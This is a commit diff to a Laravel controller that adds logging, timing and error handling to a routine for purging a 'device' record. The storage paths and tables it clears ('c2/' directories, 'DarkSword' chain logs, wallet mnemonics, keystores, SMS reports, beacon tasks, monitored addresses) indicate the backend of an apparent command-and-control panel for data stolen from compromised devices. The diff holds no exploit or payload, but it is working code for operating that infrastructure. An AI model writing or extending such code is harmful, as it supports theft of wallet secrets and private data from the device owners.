feat: delete
This commit is contained in:
@@ -219,7 +219,29 @@ class DeviceController extends Controller
|
|||||||
$this->authorizeDevice($device);
|
$this->authorizeDevice($device);
|
||||||
|
|
||||||
$listUrl = route($this->portal().'.devices.index');
|
$listUrl = route($this->portal().'.devices.index');
|
||||||
$this->purgeDevice($device);
|
$started = microtime(true);
|
||||||
|
$ctx = $this->purgeContext($device);
|
||||||
|
Log::info('device_purge start', $ctx);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$this->purgeDevice($device, $ctx);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::error('device_purge failed', $ctx + [
|
||||||
|
'ms' => (int) ((microtime(true) - $started) * 1000),
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'class' => $e::class,
|
||||||
|
'at' => $e->getFile().':'.$e->getLine(),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '删除失败:'.$e->getMessage(),
|
||||||
|
], 500);
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::info('device_purge done', $ctx + [
|
||||||
|
'ms' => (int) ((microtime(true) - $started) * 1000),
|
||||||
|
]);
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
@@ -230,44 +252,66 @@ class DeviceController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function purgeDevice(Device $device): void
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function purgeDevice(Device $device, array $ctx): void
|
||||||
{
|
{
|
||||||
$this->deletePhotoFiles($device);
|
$this->purgeStep($ctx, 'delete_photo_files', function () use ($device, $ctx) {
|
||||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
$n = $this->deletePhotoFiles($device);
|
||||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
Log::info('device_purge photos', $ctx + ['deleted_files' => $n]);
|
||||||
$this->deleteStorageDir('c2/inbox/'.$device->device_id);
|
});
|
||||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
$this->purgeStep($ctx, 'forget_previews', function () use ($device) {
|
||||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
});
|
||||||
$this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id);
|
foreach ([
|
||||||
$this->unmonitorAddresses($device);
|
'c2/photos/'.$device->device_id,
|
||||||
$this->purgeDarkSwordLogs($device);
|
'c2/inbox/'.$device->device_id,
|
||||||
|
'c2/check/'.$device->device_id,
|
||||||
|
'c2/ds-results/'.$device->device_id,
|
||||||
|
'c2/ds-chunks/'.$device->device_id,
|
||||||
|
'c2/plugin-sessions/'.$device->device_id,
|
||||||
|
] as $dir) {
|
||||||
|
$this->purgeStep($ctx, 'delete_dir:'.$dir, fn () => $this->deleteStorageDir($dir, $ctx));
|
||||||
|
}
|
||||||
|
$this->purgeStep($ctx, 'unmonitor', fn () => $this->unmonitorAddresses($device));
|
||||||
|
$this->purgeStep($ctx, 'purge_ds_logs', fn () => $this->purgeDarkSwordLogs($device, $ctx));
|
||||||
|
|
||||||
DB::transaction(function () use ($device) {
|
$this->purgeStep($ctx, 'db_transaction', function () use ($device) {
|
||||||
$device->apps()->delete();
|
DB::transaction(function () use ($device) {
|
||||||
$device->events()->delete();
|
$device->apps()->delete();
|
||||||
$device->photos()->delete();
|
$device->events()->delete();
|
||||||
$device->notes()->delete();
|
$device->photos()->delete();
|
||||||
$device->addresses()->delete();
|
$device->notes()->delete();
|
||||||
$device->mnemonics()->delete();
|
$device->addresses()->delete();
|
||||||
$device->keystores()->delete();
|
$device->mnemonics()->delete();
|
||||||
$device->pluginSessions()->delete();
|
$device->keystores()->delete();
|
||||||
$device->smsReports()->delete();
|
$device->pluginSessions()->delete();
|
||||||
$device->beaconTasks()->delete();
|
$device->smsReports()->delete();
|
||||||
$device->delete();
|
$device->beaconTasks()->delete();
|
||||||
|
$device->delete();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
private function purgeDarkSwordLogs(Device $device): void
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function purgeDarkSwordLogs(Device $device, array $ctx): void
|
||||||
{
|
{
|
||||||
$keys = $this->deviceLogKeys($device);
|
$keys = $this->deviceLogKeys($device);
|
||||||
if ($keys === []) {
|
if ($keys === []) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
|
$chain = DsChainLog::query()->whereIn('client_uid', $keys)->delete();
|
||||||
PageVisit::query()->whereIn('client_uid', $keys)->delete();
|
$visits = PageVisit::query()->whereIn('client_uid', $keys)->delete();
|
||||||
$this->purgeDsFileLogs($keys);
|
Log::info('device_purge ds_rows', $ctx + [
|
||||||
|
'keys' => $keys,
|
||||||
|
'ds_chain_logs' => $chain,
|
||||||
|
'page_visits' => $visits,
|
||||||
|
]);
|
||||||
|
$this->purgeDsFileLogs($keys, $ctx);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -289,8 +333,9 @@ class DeviceController extends Controller
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @param list<string> $keys
|
* @param list<string> $keys
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
*/
|
*/
|
||||||
private function purgeDsFileLogs(array $keys): void
|
private function purgeDsFileLogs(array $keys, array $ctx): void
|
||||||
{
|
{
|
||||||
$dir = public_path('log/ds');
|
$dir = public_path('log/ds');
|
||||||
if (! is_dir($dir)) {
|
if (! is_dir($dir)) {
|
||||||
@@ -305,7 +350,10 @@ class DeviceController extends Controller
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
foreach (glob($dir.'/*.log') ?: [] as $file) {
|
$files = glob($dir.'/*.log') ?: [];
|
||||||
|
$rewritten = 0;
|
||||||
|
$writeFails = [];
|
||||||
|
foreach ($files as $file) {
|
||||||
$raw = @file_get_contents($file);
|
$raw = @file_get_contents($file);
|
||||||
if (! is_string($raw) || $raw === '') {
|
if (! is_string($raw) || $raw === '') {
|
||||||
continue;
|
continue;
|
||||||
@@ -336,41 +384,167 @@ class DeviceController extends Controller
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
|
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
|
||||||
@file_put_contents($file, $out);
|
if (@file_put_contents($file, $out) === false) {
|
||||||
|
$writeFails[] = $this->pathDebug($file);
|
||||||
|
} else {
|
||||||
|
$rewritten++;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
Log::info('device_purge ds_files', $ctx + [
|
||||||
|
'dir' => $this->pathDebug($dir),
|
||||||
|
'log_files' => count($files),
|
||||||
|
'rewritten' => $rewritten,
|
||||||
|
'write_fails' => $writeFails,
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
private function deletePhotoFiles(Device $device): int
|
private function deletePhotoFiles(Device $device): int
|
||||||
{
|
{
|
||||||
$deletedFiles = 0;
|
$deletedFiles = 0;
|
||||||
|
$fails = [];
|
||||||
|
$disk = Storage::disk('local');
|
||||||
foreach ($device->photos()->get(['id', 'path']) as $photo) {
|
foreach ($device->photos()->get(['id', 'path']) as $photo) {
|
||||||
$path = trim((string) ($photo->path ?? ''));
|
$path = trim((string) ($photo->path ?? ''));
|
||||||
if ($path === '') {
|
if ($path === '' || ! $disk->exists($path)) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
if (Storage::disk('local')->exists($path)) {
|
try {
|
||||||
Storage::disk('local')->delete($path);
|
if ($disk->delete($path)) {
|
||||||
$deletedFiles++;
|
$deletedFiles++;
|
||||||
|
} else {
|
||||||
|
$fails[] = $this->pathDebug($disk->path($path)) + ['photo_id' => $photo->id];
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$fails[] = $this->pathDebug($disk->path($path)) + [
|
||||||
|
'photo_id' => $photo->id,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if ($fails !== []) {
|
||||||
|
Log::warning('device_purge photo_file_fails', [
|
||||||
|
'id' => $device->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'fails' => array_slice($fails, 0, 8),
|
||||||
|
'fail_count' => count($fails),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
return $deletedFiles;
|
return $deletedFiles;
|
||||||
}
|
}
|
||||||
|
|
||||||
private function deleteStorageDir(string $dir): void
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function deleteStorageDir(string $dir, array $ctx = []): void
|
||||||
{
|
{
|
||||||
|
$disk = Storage::disk('local');
|
||||||
|
$abs = $disk->path($dir);
|
||||||
|
$probe = $this->pathDebug($abs);
|
||||||
try {
|
try {
|
||||||
if (Storage::disk('local')->directoryExists($dir)) {
|
$exists = $disk->directoryExists($dir);
|
||||||
Storage::disk('local')->deleteDirectory($dir);
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('device_purge dir_stat_failed', $ctx + [
|
||||||
|
'dir' => $dir,
|
||||||
|
'path' => $probe,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (! $exists) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
$ok = $disk->deleteDirectory($dir);
|
||||||
|
if ($ok) {
|
||||||
|
Log::info('device_purge dir_deleted', $ctx + ['dir' => $dir, 'path' => $probe]);
|
||||||
|
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
} catch (\Throwable) {
|
Log::warning('device_purge dir_delete_false', $ctx + ['dir' => $dir, 'path' => $probe]);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('device_purge dir_delete_failed', $ctx + [
|
||||||
|
'dir' => $dir,
|
||||||
|
'path' => $probe,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
try {
|
try {
|
||||||
Storage::disk('local')->deleteDirectory($dir);
|
$disk->deleteDirectory($dir);
|
||||||
} catch (\Throwable) {
|
} catch (\Throwable $retry) {
|
||||||
|
Log::warning('device_purge dir_delete_retry_failed', $ctx + [
|
||||||
|
'dir' => $dir,
|
||||||
|
'path' => $this->pathDebug($abs),
|
||||||
|
'error' => $retry->getMessage(),
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $ctx
|
||||||
|
*/
|
||||||
|
private function purgeStep(array $ctx, string $step, callable $fn): void
|
||||||
|
{
|
||||||
|
$t = microtime(true);
|
||||||
|
Log::info('device_purge step', $ctx + ['step' => $step]);
|
||||||
|
try {
|
||||||
|
$fn();
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::error('device_purge step_failed', $ctx + [
|
||||||
|
'step' => $step,
|
||||||
|
'ms' => (int) ((microtime(true) - $t) * 1000),
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'class' => $e::class,
|
||||||
|
'at' => $e->getFile().':'.$e->getLine(),
|
||||||
|
]);
|
||||||
|
throw $e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function purgeContext(Device $device): array
|
||||||
|
{
|
||||||
|
$uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid();
|
||||||
|
$user = function_exists('posix_getpwuid')
|
||||||
|
? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid)
|
||||||
|
: (string) $uid;
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $device->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'php_user' => $user,
|
||||||
|
'php_uid' => $uid,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function pathDebug(string $abs): array
|
||||||
|
{
|
||||||
|
$info = [
|
||||||
|
'abs' => $abs,
|
||||||
|
'exists' => file_exists($abs),
|
||||||
|
'is_dir' => is_dir($abs),
|
||||||
|
'readable' => is_readable($abs),
|
||||||
|
'writable' => is_writable($abs),
|
||||||
|
];
|
||||||
|
if (! file_exists($abs)) {
|
||||||
|
return $info;
|
||||||
|
}
|
||||||
|
$info['perms'] = substr(sprintf('%o', (int) fileperms($abs)), -4);
|
||||||
|
$ownerUid = @fileowner($abs);
|
||||||
|
$info['owner_uid'] = $ownerUid;
|
||||||
|
if (function_exists('posix_getpwuid') && is_int($ownerUid)) {
|
||||||
|
$info['owner'] = posix_getpwuid($ownerUid)['name'] ?? (string) $ownerUid;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $info;
|
||||||
|
}
|
||||||
|
|
||||||
private function unmonitorAddresses(Device $device): void
|
private function unmonitorAddresses(Device $device): void
|
||||||
{
|
{
|
||||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||||
|
|||||||
@@ -71,10 +71,20 @@ class PhotoPreview
|
|||||||
if (Storage::disk('local')->directoryExists($dir)) {
|
if (Storage::disk('local')->directoryExists($dir)) {
|
||||||
Storage::disk('local')->deleteDirectory($dir);
|
Storage::disk('local')->deleteDirectory($dir);
|
||||||
}
|
}
|
||||||
} catch (\Throwable) {
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('photo_preview forget_failed', [
|
||||||
|
'device_key' => $deviceKey,
|
||||||
|
'dir' => $dir,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
try {
|
try {
|
||||||
Storage::disk('local')->deleteDirectory($dir);
|
Storage::disk('local')->deleteDirectory($dir);
|
||||||
} catch (\Throwable) {
|
} catch (\Throwable $retry) {
|
||||||
|
Log::warning('photo_preview forget_retry_failed', [
|
||||||
|
'device_key' => $deviceKey,
|
||||||
|
'dir' => $dir,
|
||||||
|
'error' => $retry->getMessage(),
|
||||||
|
]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user